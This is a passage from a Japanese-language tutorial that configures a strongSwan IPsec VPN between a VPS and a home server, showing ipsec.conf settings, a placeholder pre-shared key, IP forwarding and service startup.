ipsec.conf を編集する。
[user@myvps1 ~]$ sudo vi /etc/strongswan/ipsec.conf

conn myhome-to-vps
        authby=secret
        auto=add
        closeaction=clear
        dpdaction=clear
        left=203.0.113.180
        leftsubnet=203.0.113.180/32
        right=%any		#相手側IPアドレスは不明なので%anyにしておく
        rightsubnet=192.168.100.0/24

事前共有鍵を設定する。
[user@myvps1 ~]$ sudo vi /etc/strongswan/ipsec.secrets

: PSK "mypresharedkey"

サービスを起動する。
[user@myvps1 ~]$ sudo systemctl enable strongswan
[user@myvps1 ~]$ sudo systemctl start strongswan

2. 自宅側

strongswan をインストールする。
user@myserver1:~$ sudo apt install strongswan

通過パケットを転送できるように、カーネルパラメータを変更する。
user@myserver1:~$ sudo vi /etc/sysctl.conf

net.ipv4.ip_forward=1  #28行目のコメントを外す

user@myserver1:~$ sudo sysctl -p /etc/sysctl.conf

ipsec.conf を編集する。
user@myserver1:~$ sudo vi /etc/ipsec.conf

conn myhome-to-vps
        authby=secret
        auto=start		#自動的にこちらから接続する
        closeaction=restart
        dpdaction=restart
        left=192.168.100.240
        leftsubnet=192.168.100.0/24
        right=203.0.113.180
        rightsubnet=203.0.113.180/32

VPS 側と同じ事前共有鍵を設定する。
user@myserver1:~$ sudo vi /etc/ipsec.secrets

: PSK "mypresharedkey"

サービスを起動する。
user@myserver1:~$ sudo systemctl enable strongswan
user@myserver1:~$ sudo systemctl start strongswan

以上の設定で接続できる。NAPT を越えることが自動的に検出されて、IPsec パケットは NAT-Traversal でカプセル化される。iptables で UDP 4500 が閉じられている場合は、ACCEPT するように変更しておく。